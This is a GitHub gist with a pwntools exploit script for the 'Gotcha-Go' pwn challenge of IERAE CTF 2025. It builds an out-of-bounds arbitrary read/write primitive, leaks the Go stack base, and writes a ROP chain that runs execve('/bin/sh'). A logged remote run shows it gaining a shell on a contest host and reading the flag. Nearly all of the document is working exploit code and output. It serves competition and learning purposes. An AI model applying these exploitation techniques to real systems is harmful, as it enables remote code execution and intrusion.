Skip to content

Instantly share code, notes, and snippets.

@hhc0null
Last active June 23, 2025 16:09
Show Gist options
  • Save hhc0null/efc6bc8e40916b811fd240c9cc44800a to your computer and use it in GitHub Desktop.
Save hhc0null/efc6bc8e40916b811fd240c9cc44800a to your computer and use it in GitHub Desktop.
[IERAE CTF 2025] Pwn: Gotcha-Go (240pt)
import secrets
from typing import Callable
from pwn import *
context.binary = binary = ELF("distfiles/ctf")
L_LIST_BASE_ADDRESS = 0x56bfc0
FIXED_GAP_TO_RETURN_ADDRESS = 0x190
DRIVER_INDEX = 1
DUMMY_INDEX = 2
def op(choice: int, idx: int) -> None:
conn.sendlineafter(b"Option (1.Init, 2.Info, 3.Edit):", f"{choice}".encode())
conn.sendlineafter(b"Idx):", f"{idx}".encode())
def init(idx: int, s: bytes) -> None:
op(1, idx)
conn.send(s)
def info_(idx: int) -> bytes:
op(2, idx)
conn.recvline()
return conn.recvn(0x30)
def edit(idx: int, s: bytes) -> None:
op(3, idx)
conn.send(s)
def edit_data_at(address: int, data: bytes) -> None:
assert len(data) <= 0x30
edit((address - L_LIST_BASE_ADDRESS) // 0x8, data)
def leak_data_from(address: int) -> bytes:
return info_((address - L_LIST_BASE_ADDRESS) // 0x8)
def gen_primitives(driver_address: int, driver_index: int = DRIVER_INDEX) -> tuple[Callable[[int], bytes], Callable[[int, bytes], None]]:
def read30(address: int) -> bytes:
edit(driver_index, p64(address - 0x8))
return leak_data_from(driver_address + 0x8)
def write30(address: int, data: bytes) -> None:
assert len(data) <= 0x30
edit(driver_index, p64(address - 0x8))
edit_data_at(driver_address + 0x8, data)
return read30, write30
def exploit() -> None:
# ROP gadgets
gadget_pop_rax_ret_address = 0x0000000000408744 # 0x0000000000408744: pop rax; ret;
gadget_pop_rdi_setne_al_ret_address = 0x0000000000473fc6 # 0x0000000000473fc6: pop rdi; setne al; ret;
gadget_syscall_address = 0x0000000000412e4a # 0x0000000000412e4a: syscall;
# 1. Create AAW primitive
init(DRIVER_INDEX, b"driver")
init(DUMMY_INDEX, b"dummy")
global driver_address
leaked_data = leak_data_from(binary.sym["main.l"] + 0x8)
driver_address, dummy_address = u64(leaked_data[:0x8]), u64(leaked_data[0x8:0x10])
assert driver_address != 0, "Sanity check failed: driver address should not be zero"
info(f"driver @ {driver_address:#x}")
assert dummy_address != 0, "Sanity check failed: dummy address should not be zero"
info(f"dummy @ {dummy_address:#x}")
_, write30 = gen_primitives(driver_address)
## Sanity check for AAW primitive
random_bytes = secrets.token_bytes(0x10)
write30(dummy_address + 0x8, random_bytes)
assert info_(DUMMY_INDEX)[:0x10] == random_bytes, "Sanity check failed: AAW primitive not working as expected"
success(f"Sanity check for AAW primitive passed")
# 2. Leak the stack base address
leaked_data = leak_data_from(binary.sym["runtime.m0"] + 0xc0) # &'runtime.m0'.tls[0]
stack_base_address = u64(leaked_data[:8])
info(f"stack base @ {stack_base_address:#x}")
# 3. Write a ROP gadget chain into the bottom of the `main.(*MyStr).edit`'s frame
edit(DUMMY_INDEX, b"/bin/sh\0")
write30(stack_base_address - FIXED_GAP_TO_RETURN_ADDRESS, flat(
# Set rdi = "/bin/sh"
gadget_pop_rdi_setne_al_ret_address,
dummy_address + 0x8,
# Set rax = SYS_execve
gadget_pop_rax_ret_address,
constants.SYS_execve,
# (rsi was already zeroed and rdx was also valid as envp)
# Perform execve("/bin/sh", NULL, &(char **){NULL})
gadget_syscall_address,
))
conn.recvline()
# 4. Switch to interactive mode
conn.interactive()
# Below boilerplate could be ignored. :)
def wait(prompt: str | None = None) -> None:
if prompt is None:
prompt = "Waiting for input..."
input(prompt)
if __name__ == "__main__":
if "REMOTE" in args:
context.log_file = "remote.log"
conn = remote(args.HOST, args.PORT)
elif "ATTACH" in args:
if os.getenv("TERM_PROGRAM") != "tmux":
error("This must run in tmux session when debugging")
context.terminal = ["tmux", "splitw", "-v"]
context.log_file = "local-debug.log"
context.log_level = "debug"
conn = process([binary.path], aslr=True)
gdb.attach(conn)
else:
context.log_file = "local.log"
conn = process([binary.path], aslr=True)
exploit()
"""
(pwndev) player@noble:/workspace/gotcha-go$ python3 exploit.py REMOTE HOST=35.200.115.59 PORT=33337
[*] '/workspace/gotcha-go/distfiles/ctf'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Debuginfo: Yes
[+] Opening connection to 35.200.115.59 on port 33337: Done
[*] driver @ 0xc0000a8040
[*] dummy @ 0xc00006a000
[+] Sanity check for AAW primitive passed
[*] stack base @ 0xc00008d000
[*] Switching to interactive mode
$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)
$ ls
flag-9c9d2b08126cab387c6bdcadfb3105d8.txt
run
$ cat flag*
IERAE{Go_is_an_open_source_programming_language_15a730a8}
"""
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment